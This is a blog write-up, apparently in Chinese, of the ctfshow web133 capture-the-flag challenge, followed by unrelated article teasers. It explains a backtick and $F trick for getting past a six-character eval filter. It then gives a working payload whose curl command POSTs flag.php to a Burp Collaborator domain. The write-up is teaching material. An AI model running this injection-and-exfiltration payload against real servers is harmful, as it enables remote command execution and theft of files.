news 2026/7/7 6:15:41

ctfshow-web133

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow-web133

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(做这道题时需要配备BurpSuite专业版,可自行查阅相关资料进行配置,这里我找了两个链接1、链接2)

一:前置知识

做这道题时我们需要用到BurpSuite专业版里的Collaborator模块,这是 Burp Suite 中用于检测带外交互漏洞【OBB】(参考)的核心工具,主要通过生成唯一的外部交互地址,捕捉目标服务器与外部系统的交互行为,从而验证那些无直接回显的漏洞,是渗透测试和 CTF 中检测盲漏洞的关键工具。

核心功能与作用原理

Collaborator 的核心是搭建外部交互桥梁:它会生成一个唯一的二级域名(如xxxx.burpcollaborator.net),我们将这个地址插入到测试的 Payload 中发送给目标服务器。如果目标服务器存在漏洞并执行了 Payload,就会主动访问这个外部域名,Collaborator Client 会捕获到这次交互并记录详细信息,以此证明漏洞存在。

二:具体题目

1.初步判断

打开靶场,有一下php代码:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ //GET方式传入F if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ //这里要绕过正则匹配 eval(substr($F,0,6)); //从0开始截断F的字符到6位置,就是F只读取前六个字符 }else{ die("6个字母都还不够呀?!"); } }

这里我们发现一个问题:F只能传入六个字符,那么我们构造不出什么命令可以让之后的eval执行,我没见过这种题,所以网上找了别的师傅的WP用的是$F【相当于F本身】:

  1. 反引号 ``:在 PHP 中,反引号包裹的内容会被当作系统命令执行,等价于shell_exec()函数(而shell_exec没有被过滤,这是绕过的关键)。
  2. $F变量:这里的$F是 GET 传入的整个F参数的内容,PHP 会先解析变量$F,再执行反引号中的命令。
  3. 分号;:是 PHP 的语句结束符,确保前 6 个字符构成完整的 PHP 语句

因此,我们的payload格式应该是这样的:

?F=`$F`; XXXXXXXXXXXXXXXXXXXXX

2.具体构造

这里就要用到我们之前讲的Collaborator了,我们打开BurpSuite的Collaborator模块,可以看到是这样的:

这里的payloads to generate 就是生成我们的Collaborator 带外交互平台的临时域名数量,这里我们选择一个就好,然后我们点击copy to clipboard【这里点了之后就是直接复制到剪贴版了,刚用的时候英文不太好不知道啥意思,以为是在下面显示所以按了好久没按出来】

下面是我复制的临时域名:ffywo4qho06y82ab885yvruocfi76zuo.oastify.com

这里先给出我们的payload再一一解释:

?F=`$F`;+curl -X POST -F xx=@flag.php http://ffywo4qho06y82ab885yvruocfi76zuo.oastify.com

1)总体结构

首先,这里最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容

2)curl 命令

curl是一个命令行工具/库,用来向服务器发送或接收数据,支持多种协议(HTTP、HTTPS、FTP、SFTP 等)。

这个curl命令是将本地的 flag.php 文件上传到外部的oastify.com协作服务器(也就是我们之前的 Burp Collaborator 类似的带外交互平台),从而实现 flag 的外带:

  • -X POST:使用 POST 请求方式。
  • -F xx=@flag.php:构造表单上传,把本地的flag.php文件作为xx字段的值上传到目标地址。

(有时候ai回答一些基本的问题还是很可以的,用好了也是一大助力。这里的xx表单字段是自定义的,可以换成别的如file data等等)

  • ffywo4qho06y82ab885yvruocfi76zuo.oastify.com:是 oastify 的临时域名,用于接收上传的文件内容,我们可以在 oastify 的后台查看这个请求,从而获取flag.php的内容。

3.flag获取

我们直接将这个payload写在url里面回车上传,然后再回到BP查看【我喜欢点一下Poll now】

找到HTTP,发现flag:

三:结语

我们可以再回顾一下总体流程加深一下印象:

  1. 生成Collaborator域名 在Burp Suite专业版中打开Collaborator模块,生成临时域名用于接收数据。

  2. 构造完整Payload 将curl命令拼接到基础Payload

  3. 发送请求 将构造好的URL提交到目标服务器。

  4. 查看回传数据 在Collaborator界面点击"Poll now",查看HTTP请求中携带的flag.php文件内容。

还有相应的注意事项:

  • 确保Burp Suite Collaborator配置正确,能接收外部请求
  • curl命令中的临时域名需替换为实际生成的Collaborator域名
  • 表单字段名称可自定义,但需保持前后一致
  • 目标环境需允许出站连接

通过这种方法可以突破长度限制,实现命令执行并获取flag内容。

写在最后:

这道题我也是第一次用到Collaborator模块,又学到了一个新知识【ヽ(✿゚▽゚)ノ】其实在最开始描述带外交互漏洞后面的参考链接里有提到诸如SSRF、XXE都用到了这种方法。而常用的工具有:

大菜鸡师傅录制的视频就是用的DNSlog,但我觉得BP的Collaborator功能更强大一点,算是各有所好吧。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/3 23:52:11

Ollama支持Qwen3-VL-8B吗?本地部署实测报告

Ollama支持Qwen3-VL-8B吗?本地部署实测报告 在智能终端设备日益依赖视觉理解能力的今天,一个现实问题摆在开发者面前:如何在保障数据隐私的前提下,以较低成本实现高质量的图文理解功能?尤其是在电商商品识别、客服自动…

作者头像 李华
网站建设 2026/7/7 16:05:08

终极指南:如何在VMware中免费解锁macOS虚拟机支持

终极指南:如何在VMware中免费解锁macOS虚拟机支持 【免费下载链接】unlocker VMware Workstation macOS 项目地址: https://gitcode.com/gh_mirrors/un/unlocker 你是否曾经想在Windows或Linux系统上体验macOS的流畅操作,却发现VMware Workstati…

作者头像 李华
网站建设 2026/7/6 11:49:21

Linux网络层核心技术揭秘: 从IP协议到内核实现深度剖析

Linux网络层核心技术揭秘: 从IP协议到内核实现深度剖析 在当今的互联网世界中, Linux凭借其稳定、高效的网络协议栈实现, 成为服务器、云计算和网络设备领域的基石. 理解Linux网络层的核心原理不仅有助于我们优化网络应用性能, 更能深入掌握现代网络通信的本质 1. 网络层的基础…

作者头像 李华
网站建设 2026/7/8 1:00:06

简单线程池实现(单例模式)

1.概念 基本概念 线程池是一种多线程处理形式,它预先创建一组线程并管理它们,避免频繁创建和销毁线程带来的性能开销。 在 Linux 环境下,线程池(Thread Pool)是一种常用的并发编程模型,用于复用线程资源&…

作者头像 李华
网站建设 2026/7/6 16:18:38

类与对象三大核心函数:构造、析构、拷贝构造详解

类与对象三大核心函数:构造、析构、拷贝构造详解 一、引言 在C面向对象编程中,构造函数、析构函数和拷贝构造函数被称为"三大件"(Rule of Three)。它们是类设计的基石,决定了对象的创建、拷贝和销毁行为。…

作者头像 李华
网站建设 2026/7/7 17:40:09

UiPath在金融行业的5个高价值应用案例

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 开发一个UiPath自动化流程,模拟银行对账单处理场景。流程应包括:1)自动登录网银系统下载对账单;2)使用OCR技术识别对账单内容;3)与内…

作者头像 李华